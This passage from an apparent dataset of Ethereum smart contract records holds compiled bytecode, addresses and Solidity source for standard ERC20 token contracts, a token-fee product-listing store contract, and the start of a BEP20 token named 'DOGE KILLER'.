5b6130ab87828801612f03565b91505092959194509250565b600080604083850312156130ce576130cd61400c565b5b60006130dc85828601612e81565b92505060206130ed85828601612ec4565b9150509250929050565b6000806040838503121561310e5761310d61400c565b5b600061311c85828601612e81565b925050602061312d85828601612f5f565b9150509250929050565b6000806000606084860312156131505761314f61400c565b5b600061315e86828701612e81565b935050602061316f86828701612f5f565b925050604061318086828701612f5f565b9150509250925092565b6000602082840312156131a05761319f61400c565b5b600082013567ffffffffffffffff8111156131be576131bd614007565b5b6131ca84828501612e96565b91505092915050565b6000602082840312156131e9576131e861400c565b5b60006131f784828501612ec4565b91505092915050565b6000602082840312156132165761321561400c565b5b600061322484828501612ed9565b91505092915050565b6000602082840312156132435761324261400c565b5b600061325184828501612eee565b91505092915050565b6000602082840312156132705761326f61400c565b5b600082013567ffffffffffffffff81111561328e5761328d614007565b5b61329a84828501612f31565b91505092915050565b6000602082840312156132b9576132b861400c565b5b60006132c784828501612f5f565b91505092915050565b6132d981613d50565b82525050565b6132e881613d62565b82525050565b60006132f982613bf8565b6133038185613c0e565b9350613313818560208601613dd3565b61331c81614011565b840191505092915050565b600061333282613c03565b61333c8185613c1f565b935061334c818560208601613dd3565b61335581614011565b840191505092915050565b600061336b82613c03565b6133758185613c30565b9350613385818560208601613dd3565b80840191505092915050565b6000815461339e81613e30565b6133a88186613c30565b945060018216600081146133c357600181146133d457613407565b60ff19831686528186019350613407565b6133dd85613be3565b60005b838110156133ff578154818901526001820191506020810190506133e0565b838801955050505b50505092915050565b600061341d600d83613c1f565b915061342882614022565b602082019050919050565b6000613440603283613c1f565b915061344b8261404b565b604082019050919050565b6000613463602583613c1f565b915061346e8261409a565b604082019050919050565b6000613486601c83613c1f565b9150613491826140e9565b602082019050919050565b60006134a9601883613c1f565b91506134b482614112565b602082019050919050565b60006134cc600b83613c1f565b91506134d78261413b565b602082019050919050565b60006134ef602483613c1f565b91506134fa82614164565b604082019050919050565b6000613512601983613c1f565b915061351d826141b3565b602082019050919050565b6000613535601383613c1f565b9150613540826141dc565b602082019050919050565b6000613558602c83613c1f565b915061356382614205565b604082019050919050565b600061357b603883613c1f565b915061358682614254565b604082019050919050565b600061359e601583613c1f565b91506135a9826142a3565b602082019050919050565b60006135c1602a83613c1f565b91506135cc826142cc565b604082019050919050565b60006135e4602983613c1f565b91506135ef8261431b565b604082019050919050565b6000613607602083613c1f565b91506136128261436a565b602082019050919050565b600061362a601583613c1f565b915061363582614393565b602082019050919050565b600061364d602c83613c1f565b9150613658826143bc565b604082019050919050565b6000613670601783613c1f565b915061367b8261440b565b602082019050919050565b6000613693602183613c1f565b915061369e82614434565b604082019050919050565b60006136b6600c83613c1f565b91506136c182614483565b602082019050919050565b60006136d9603183613c1f565b91506136e4826144ac565b604082019050919050565b60006136fc601183613c1f565b9150613707826144fb565b602082019050919050565b600061371f601c83613c1f565b915061372a82614524565b602082019050919050565b61373e81613dba565b82525050565b60006137508285613391565b915061375c8284613360565b91508190509392505050565b600060208201905061377d60008301846132d0565b92915050565b600060808201905061379860008301876132d0565b6137a560208301866132d0565b6137b26040830185613735565b81810360608301526137c481846132ee565b905095945050505050565b60006020820190506137e460008301846132df565b92915050565b600060208201905081810360008301526138048184613327565b905092915050565b6000602082019050818103600083015261382581613410565b9050919050565b6000602082019050818103600083015261384581613433565b9050919050565b6000602082019050818103600083015261386581613456565b9050919050565b6000602082019050818103600083015261388581613479565b9050919050565b600060208201905081810360008301526138a58161349c565b9050919050565b600060208201905081810360008301526138c5816134bf565b9050919050565b600060208201905081810360008301526138e5816134e2565b9050919050565b6000602082019050818103600083015261390581613505565b9050919050565b6000602082019050818103600083015261392581613528565b9050919050565b600060208201905081810360008301526139458161354b565b9050919050565b600060208201905081810360008301526139658161356e565b9050919050565b6000602082019050818103600083015261398581613591565b9050919050565b600060208201905081810360008301526139a5816135b4565b9050919050565b600060208201905081810360008301526139c5816135d7565b9050919050565b600060208201905081810360008301526139e5816135fa565b9050919050565b60006020820190508181036000830152613a058161361d565b9050919050565b60006020820190508181036000830152613a2581613640565b9050919050565b60006020820190508181036000830152613a4581613663565b9050919050565b60006020820190508181036000830152613a6581613686565b9050919050565b60006020820190508181036000830152613a85816136a9565b9050919050565b60006020820190508181036000830152613aa5816136cc565b9050919050565b60006020820190508181036000830152613ac5816136ef565b9050919050565b60006020820190508181036000830152613ae581613712565b9050919050565b6000602082019050613b016000830184613735565b92915050565b6000604082019050613b1c6000830185613735565b613b296020830184613735565b9392505050565b6000613b3a613b4b565b9050613b468282613e62565b919050565b6000604051905090565b600067ffffffffffffffff821115613b7057613b6f613fc9565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613b9c57613b9b613fc9565b5b613ba582614011565b9050602081019050919050565b600067ffffffffffffffff821115613bcd57613bcc613fc9565b5b613bd682614011565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613c4682613dba565b9150613c5183613dba565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c8657613c85613f0d565b5b828201905092915050565b6000613c9c82613dba565b9150613ca783613dba565b925082613cb757613cb6613f3c565b5b828204905092915050565b6000613ccd82613dba565b9150613cd883613dba565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d1157613d10613f0d565b5b828202905092915050565b6000613d2782613dba565b9150613d3283613dba565b925082821015613d4557613d44613f0d565b5b828203905092915050565b6000613d5b82613d9a565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613df1578082015181840152602081019050613dd6565b83811115613e00576000848401525b50505050565b6000613e1182613dba565b91506000821415613e2557613e24613f0d565b5b600182039050919050565b60006002820490506001821680613e4857607f821691505b60208210811415613e5c57613e5b613f6b565b5b50919050565b613e6b82614011565b810181811067ffffffffffffffff82111715613e8a57613e89613fc9565b5b80604052505050565b6000613e9e82613dba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613ed157613ed0613f0d565b5b600182019050919050565b6000613ee782613dba565b9150613ef283613dba565b925082613f0257613f01613f3c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f53616c6520697320656e64656400000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f53616c65206f757420616c6c207370656369616c204e46540000000000000000600082015250565b7f6d696e742066696e697368000000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f596f7520617265206e6f74207468652064657600000000000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f53616c65206973206e6f74207374617274207965740000000000000000000000600082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f596f7527766520646f6e6520796f757220706172740000000000000000000000600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f596f7520617265206e6f742074686520706172746e6572000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e7420657863656564210000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f57726f6e6720696e707574207072696365000000000000000000000000000000600082015250565b7f596f7520616c726561647920676f742061204269746176657273652100000000600082015250565b61455681613d50565b811461456157600080fd5b50565b61456d81613d62565b811461457857600080fd5b50565b61458481613d6e565b811461458f57600080fd5b50565b61459b81613dba565b81146145a657600080fd5b5056fea2646970667358221220d1528e3ed5e84e009ec6d4a6ecbce14cf5c491c79f36c867a7028c1feb4942ab64736f6c63430008070033
[ 5 ]
0xF39f3BB07B47bCc4593BC8F12386f2F212243E2A
// SPDX-License-Identifier: MIT pragma solidity ^0.5.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract CBToken is Ownable, ERC20Mintable, ERC20Pausable, ERC20Detailed { constructor(string memory _name, string memory _symbol, uint8 _decimals) ERC20Detailed(_name, _symbol, _decimals) public { } } contract EcommerceStore { // --------------------------------- Events event NewProduct(uint _productId, string _name, string _verification, string _descLink, uint _userId, string _gallery); // --------------------------------- Contract variables uint public productIndex; /// Mapping configs mapping (address => mapping(uint => Product)) stores; mapping (uint => address) productIdInStore; // Payout data address private _token; address private _wallet; uint256 private _price; /// Product definition enum ProductStatus {Open, Sold, Unsold} struct Product { uint id; string name; string verification; string descLink; ProductStatus status; uint userId; string gallery; } // --------------------------------- Ctor constructor(address token, address wallet, uint256 price) public { require (price >= 0, "Invalid post price"); require (wallet != address(0), "Invalit wallet"); _price = price; _token = token; _wallet = wallet; productIndex = 0; } // -------------------------------------------------------- // --------------------------------- Attributes // -------------------------------------------------------- /** @dev Returns the post item price. */ function postPrice() public view returns (uint256) { return _price; } /** @dev Get item data base on id. * @param _productId Id of searched product * @return Data for given product */ function getProduct(uint _productId) public view returns (uint, string memory, string memory, string memory, ProductStatus, uint, string memory, address) { address productAddress = productIdInStore[_productId]; Product memory product = stores[productAddress][_productId]; return ( product.id, product.name, product.verification, product.descLink, product.status, product.userId, product.gallery, productAddress ); } // -------------------------------------------------------- // --------------------------------- Methods // -------------------------------------------------------- /** * @dev Add product to store. * @return event */ function addProductToStore( string memory _name, string memory _verification, string memory _descLink, uint _userId, string memory _gallery) public payable { /// Transfer fee from user to wallet require(CBToken(_token).transferFrom(msg.sender, address(_wallet), _price), "Transaction failed"); // Add product productIndex += 1; Product memory product = Product( productIndex, _name, _verification, _descLink, ProductStatus.Open, _userId, _gallery ); stores[msg.sender][productIndex] = product; productIdInStore[productIndex] = msg.sender; emit NewProduct(productIndex, _name, _verification, _descLink, _userId, _gallery); } }
0x60806040526004361061005c576000357c010000000000000000000000000000000000000000000000000000000090048063375fdcfa14610061578063b9a4b93b146102eb578063b9db15b414610316578063c897d5a614610564575b600080fd5b6102e9600480360360a081101561007757600080fd5b810190808035906020019064010000000081111561009457600080fd5b8201836020820111156100a657600080fd5b803590602001918460018302840111640100000000831117156100c857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561012b57600080fd5b82018360208201111561013d57600080fd5b8035906020019184600183028401116401000000008311171561015f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101c257600080fd5b8201836020820111156101d457600080fd5b803590602001918460018302840111640100000000831117156101f657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291908035906020019064010000000081111561026357600080fd5b82018360208201111561027557600080fd5b8035906020019184600183028401116401000000008311171561029757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061058f565b005b3480156102f757600080fd5b50610300610b0d565b6040518082815260200191505060405180910390f35b34801561032257600080fd5b5061034f6004803603602081101561033957600080fd5b8101908080359060200190929190505050610b17565b6040518089815260200180602001806020018060200188600281111561037157fe5b60ff168152602001878152602001806020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185810385528c818151815260200191508051906020019080838360005b838110156103ed5780820151818401526020810190506103d2565b50505050905090810190601f16801561041a5780820380516001836020036101000a031916815260200191505b5085810384528b818151815260200191508051906020019080838360005b83811015610453578082015181840152602081019050610438565b50505050905090810190601f1680156104805780820380516001836020036101000a031916815260200191505b5085810383528a818151815260200191508051906020019080838360005b838110156104b957808201518184015260208101905061049e565b50505050905090810190601f1680156104e65780820380516001836020036101000a031916815260200191505b50858103825287818151815260200191508051906020019080838360005b8381101561051f578082015181840152602081019050610504565b50505050905090810190601f16801561054c5780820380516001836020036101000a031916815260200191505b509c5050505050505050505050505060405180910390f35b34801561057057600080fd5b50610579610ed8565b6040518082815260200191505060405180910390f35b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156106ac57600080fd5b505af11580156106c0573d6000803e3d6000fd5b505050506040513d60208110156106d657600080fd5b8101908080519060200190929190505050151561075b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f5472616e73616374696f6e206661696c6564000000000000000000000000000081525060200191505060405180910390fd5b60016000808282540192505081905550610773610ede565b60e0604051908101604052806000548152602001878152602001868152602001858152602001600060028111156107a657fe5b815260200184815260200183815250905080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008054815260200190815260200160002060008201518160000155602082015181600101908051906020019061082f929190610f27565b50604082015181600201908051906020019061084c929190610f27565b506060820151816003019080519060200190610869929190610f27565b5060808201518160040160006101000a81548160ff0219169083600281111561088e57fe5b021790555060a0820151816005015560c08201518160060190805190602001906108b9929190610f27565b5090505033600260008054815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f7448a197b25a9e34e146d04a81ac13c438672f49faa3d72dc5f13a88938f46956000548787878787604051808781526020018060200180602001806020018681526020018060200185810385528a818151815260200191508051906020019080838360005b83811015610991578082015181840152602081019050610976565b50505050905090810190601f1680156109be5780820380516001836020036101000a031916815260200191505b50858103845289818151815260200191508051906020019080838360005b838110156109f75780820151818401526020810190506109dc565b50505050905090810190601f168015610a245780820380516001836020036101000a031916815260200191505b50858103835288818151815260200191508051906020019080838360005b83811015610a5d578082015181840152602081019050610a42565b50505050905090810190601f168015610a8a5780820380516001836020036101000a031916815260200191505b50858103825286818151815260200191508051906020019080838360005b83811015610ac3578082015181840152602081019050610aa8565b50505050905090810190601f168015610af05780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390a1505050505050565b6000600554905090565b600060608060606000806060600080600260008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610b64610ede565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c815260200190815260200160002060e0604051908101604052908160008201548152602001600182018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c635780601f10610c3857610100808354040283529160200191610c63565b820191906000526020600020905b815481529060010190602001808311610c4657829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d055780601f10610cda57610100808354040283529160200191610d05565b820191906000526020600020905b815481529060010190602001808311610ce857829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da75780601f10610d7c57610100808354040283529160200191610da7565b820191906000526020600020905b815481529060010190602001808311610d8a57829003601f168201915b505050505081526020016004820160009054906101000a900460ff166002811115610dce57fe5b6002811115610dd957fe5b815260200160058201548152602001600682018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e805780601f10610e5557610100808354040283529160200191610e80565b820191906000526020600020905b815481529060010190602001808311610e6357829003601f168201915b5050505050815250509050806000015181602001518260400151836060015184608001518560a001518660c0015188869650859550849450819150995099509950995099509950995099505050919395975091939597565b60005481565b60e0604051908101604052806000815260200160608152602001606081526020016060815260200160006002811115610f1357fe5b815260200160008152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610f6857805160ff1916838001178555610f96565b82800160010185558215610f96579182015b82811115610f95578251825591602001919060010190610f7a565b5b509050610fa39190610fa7565b5090565b610fc991905b80821115610fc5576000816000905550600101610fad565b5090565b9056fea165627a7a723058203e537f836289930bd7f0911ae500a1389a53a2d6d5615b4785f6adc40a5f68ec0029
[ 19, 2 ]
0xf39fd5ed689e1402e59755f9ded0530884dd8542
/** _______ __ _______ ___ _______. __ __ | ____|| | | ____| / \ / || | | | | |__ | | | |__ / ^ \ | (----`| |__| | | __| | | | __| / /_\ \ \ \ | __ | | |____ | `----.| |____ / _____ \ .----) | | | | | |_______||_______||_______/__/ \__\ |_______/ |__| |__| DOGE KILLER */ pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint 